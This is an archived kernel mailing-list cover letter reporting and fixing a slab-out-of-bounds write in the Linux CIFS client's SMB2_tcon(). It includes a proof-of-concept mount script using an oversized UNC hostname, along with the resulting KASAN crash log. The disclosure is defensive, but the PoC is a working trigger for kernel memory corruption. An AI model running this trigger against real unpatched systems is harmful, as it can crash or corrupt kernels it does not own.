linux-cifs.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [PATCH 0/1] cifs: fix buffer overflow in SMB2_tcon
@ 2026-10-13 17:16 Ren Wei
  2026-10-13 17:16 ` [PATCH 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-10-13 17:16 UTC (permalink / raw)
  To: linux-cifs, samba-technical
  Cc: pc, linkinjeon, ronniesahlberg, sprasad, tom, bharathsm, jlayton,
	smfrench, bird, rakukuip, n05ec

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an out-of-bounds write issue in
fs/smb/client/smb2pdu.c. The bug can be triggered by mounting a CIFS share
with an oversized UNC path string, leading to a slab-out-of-bounds write.
We have tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

=== details below ===

Bug details:

In SMB2_tcon(), unc_path is allocated with a fixed buffer size of
MAX_SHARENAME_LENGTH * 2 bytes (672 bytes). However, the user-controlled
UNC path (tree) length is passed to cifs_strtoUTF16(), which assumes the
destination buffer is large enough and writes strlen(tree) + 1 UTF-16 code
units.

Commit 62a1a439e0fd ("cifs: clean up handling of unc= option") removed the
length check on UNC mount options, allowing mount paths to exceed
MAX_SHARENAME_LENGTH while retaining the fixed-size buffer allocation in
SMB2_tcon(). Consequently, an oversized UNC string causes cifs_strtoUTF16()
to write past the end of the heap object, resulting in a slab-out-of-bounds
write.

Fix this by dynamically allocating unc_path based on the length of tree so
that it safely accommodates all UTF-16 code units.

Reproducer:

The reproducer sets up a minimal SMB2 server responding to tree connect,
and mounts a CIFS share using a 500-byte hostname in the UNC path.

1. Start the minimal mock SMB2 server:
   python3 mock_smb2_server.py 41454

2. In the guest (as root), execute poc.sh:
   HOST_PORT=41454 ./poc.sh

We run the PoC in an x86 QEMU environment.

=== BEGIN poc.sh ===
    #!/bin/sh
    set -eu

    HOST_IP="${HOST_IP:-10.0.2.2}"
    HOST_PORT="${HOST_PORT:-41454}"
    HOST_LEN="${HOST_LEN:-500}"
    MNT="${MNT:-/mnt/cifs_test}"

    LONG_HOST="$(python3 - <<'PY' "$HOST_LEN"
    import sys
    print("H" * int(sys.argv[1]), end="")
    PY
    )"

    UNC="//${LONG_HOST}/x"
    OPTS="vers=2.1,port=${HOST_PORT},ip=${HOST_IP},"
    OPTS="${OPTS}username=u,password=p,nodfs"

    mkdir -p "$MNT"
    umount -f "$MNT" >/dev/null 2>&1 || true

    echo "Triggering with UNC length ${#UNC}"
    echo "source=${UNC}"
    echo "options=${OPTS}"

    mount -t cifs "$UNC" "$MNT" -o "$OPTS"
=== END poc.sh ===

=== BEGIN crash log ===
[  338.863874] [  T10480] BUG: KASAN: slab-out-of-bounds in utf8s_to_utf16s+0x2c1/0x340
[  338.864117] [  T10480] Write of size 2 at addr ff1100010d43aaa0 by task mount.cifs/10480

[  338.864199] [  T10480] CPU: 2 UID: 0 PID: 10480 Comm: mount.cifs Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[  338.864211] [  T10480] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  338.864240] [  T10480] Call Trace:
[  338.864273] [  T10480]  <TASK>
[  338.864294] [  T10480]  dump_stack_lvl+0x78/0xe0
[  338.864492] [  T10480]  print_report+0xf7/0x600
[  338.864573] [  T10480]  ? utf8s_to_utf16s+0x2c1/0x340
[  338.864584] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.864659] [  T10480]  ? __virt_addr_valid+0x231/0x420
[  338.864755] [  T10480]  ? utf8s_to_utf16s+0x2c1/0x340
[  338.864767] [  T10480]  kasan_report+0xe4/0x120
[  338.864784] [  T10480]  ? utf8s_to_utf16s+0x2c1/0x340
[  338.864811] [  T10480]  utf8s_to_utf16s+0x2c1/0x340
[  338.864830] [  T10480]  ? __pfx_utf8s_to_utf16s+0x10/0x10
[  338.864859] [  T10480]  cifs_strtoUTF16+0x30a/0x3c0
[  338.864906] [  T10480]  ? __pfx_cifs_strtoUTF16+0x10/0x10
[  338.864923] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.864941] [  T10480]  SMB2_tcon+0x1eb/0x1650
[  338.864987] [  T10480]  ? __pfx_SMB2_tcon+0x10/0x10
[  338.864997] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865034] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865042] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865057] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865070] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865089] [  T10480]  ? cifs_get_tcon+0x836/0x2180
[  338.865110] [  T10480]  cifs_get_tcon+0x836/0x2180
[  338.865133] [  T10480]  cifs_mount_get_tcon+0x138/0xb10
[  338.865144] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865153] [  T10480]  ? cifs_mount_get_session+0xc4/0x3f0
[  338.865168] [  T10480]  dfs_mount_share+0x968/0x2370
[  338.865196] [  T10480]  ? __pfx_stack_trace_save+0x10/0x10
[  338.865272] [  T10480]  ? check_path.constprop.0+0x24/0x50
[  338.865337] [  T10480]  ? __pfx_dfs_mount_share+0x10/0x10
[  338.865354] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865362] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865371] [  T10480]  ? __lock_acquire+0x1025/0x25f0
[  338.865407] [  T10480]  cifs_mount+0xb6/0xcf0
[  338.865425] [  T10480]  ? __pfx_cifs_mount+0x10/0x10
[  338.865450] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865459] [  T10480]  ? cifs_setup_cifs_sb+0x3ec/0x7b0
[  338.865476] [  T10480]  cifs_smb3_do_mount+0x251/0x1680
[  338.865501] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865510] [  T10480]  ? vfs_parse_fs_qstr+0x12d/0x1a0
[  338.865562] [  T10480]  ? lockdep_hardirqs_on+0x7b/0x110
[  338.865599] [  T10480]  ? __pfx_cifs_smb3_do_mount+0x10/0x10
[  338.865647] [  T10480]  smb3_get_tree+0x39d/0x8f0
[  338.865659] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865675] [  T10480]  vfs_get_tree+0x8d/0x320
[  338.865722] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865730] [  T10480]  ? security_capable+0x8a/0x150
[  338.865841] [  T10480]  fc_mount+0x15/0x1d0
[  338.865881] [  T10480]  path_mount+0x58d/0x1e00
[  338.865914] [  T10480]  ? __pfx_path_mount+0x10/0x10
[  338.865924] [  T10480]  ? kasan_quarantine_put+0x10a/0x240
[  338.865932] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.865950] [  T10480]  ? user_path_at+0x43/0x50
[  338.866014] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.866036] [  T10480]  ? kmem_cache_free+0x2a6/0x6f0
[  338.866089] [  T10480]  ? __x64_sys_mount+0x210/0x270
[  338.866097] [  T10480]  __x64_sys_mount+0x210/0x270
[  338.866110] [  T10480]  ? __pfx___x64_sys_mount+0x10/0x10
[  338.866124] [  T10480]  ? srso_alias_return_thunk+0x5/0xfbef5
[  338.866133] [  T10480]  ? rcu_is_watching+0x12/0xc0
[  338.866167] [  T10480]  do_syscall_64+0x116/0xf80
[  338.866189] [  T10480]  ? irqentry_exit+0x117/0x830
[  338.866205] [  T10480]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  338.866215] [  T10480] RIP: 0033:0x7fd6c0bfa6ca
[  338.866265] [  T10480] Code: 48 8b 0d 49 37 0d 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 16 37 0d 00 f7 d8 64 89 01 48
[  338.866272] [  T10480] RSP: 002b:00007ffd70fb3898 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5
[  338.866310] [  T10480] RAX: ffffffffffffffda RBX: 000055e15e535128 RCX: 00007fd6c0bfa6ca
[  338.866316] [  T10480] RDX: 000055e15e535531 RSI: 000055e15e535597 RDI: 00007ffd70fb5c4d
[  338.866322] [  T10480] RBP: 000055e17c19c0b0 R08: 000055e17c19c0b0 R09: 0000000000000000
[  338.866327] [  T10480] R10: 0000000000000000 R11: 0000000000000202 R12: 000055e17c19d110
[  338.866332] [  T10480] R13: 00007ffd70fb5c4d R14: 000000000000000a R15: 00007fd6c0d15000
[  338.866368] [  T10480]  </TASK>

[  338.866494] [  T10480] Allocated by task 10480:
[  338.866520] [  T10480]  kasan_save_stack+0x33/0x60
[  338.866534] [  T10480]  kasan_save_track+0x14/0x30
[  338.866546] [  T10480]  __kasan_kmalloc+0xaa/0xb0
[  338.866558] [  T10480]  SMB2_tcon+0x1b8/0x1650
[  338.866572] [  T10480]  cifs_get_tcon+0x836/0x2180
[  338.866583] [  T10480]  cifs_mount_get_tcon+0x138/0xb10
[  338.866595] [  T10480]  dfs_mount_share+0x968/0x2370
[  338.866608] [  T10480]  cifs_mount+0xb6/0xcf0
[  338.866619] [  T10480]  cifs_smb3_do_mount+0x251/0x1680
[  338.866631] [  T10480]  smb3_get_tree+0x39d/0x8f0
[  338.866644] [  T10480]  vfs_get_tree+0x8d/0x320
[  338.866656] [  T10480]  fc_mount+0x15/0x1d0
[  338.866669] [  T10480]  path_mount+0x58d/0x1e00
[  338.866681] [  T10480]  __x64_sys_mount+0x210/0x270
[  338.866692] [  T10480]  do_syscall_64+0x116/0xf80
[  338.866722] [  T10480]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

[  338.866741] [  T10480] The buggy address belongs to the object at ff1100010d43a800
                           which belongs to the cache kmalloc-1k of size 1024
[  338.866753] [  T10480] The buggy address is located 0 bytes to the right of
                           allocated 672-byte region [ff1100010d43a800, ff1100010d43aaa0)
=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  cifs: fix buffer overflow in SMB2_tcon

 fs/smb/client/smb2pdu.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-13 17:16 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-13 17:16 [PATCH 0/1] cifs: fix buffer overflow in SMB2_tcon Ren Wei
2026-10-13 17:16 ` [PATCH 1/1] " Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).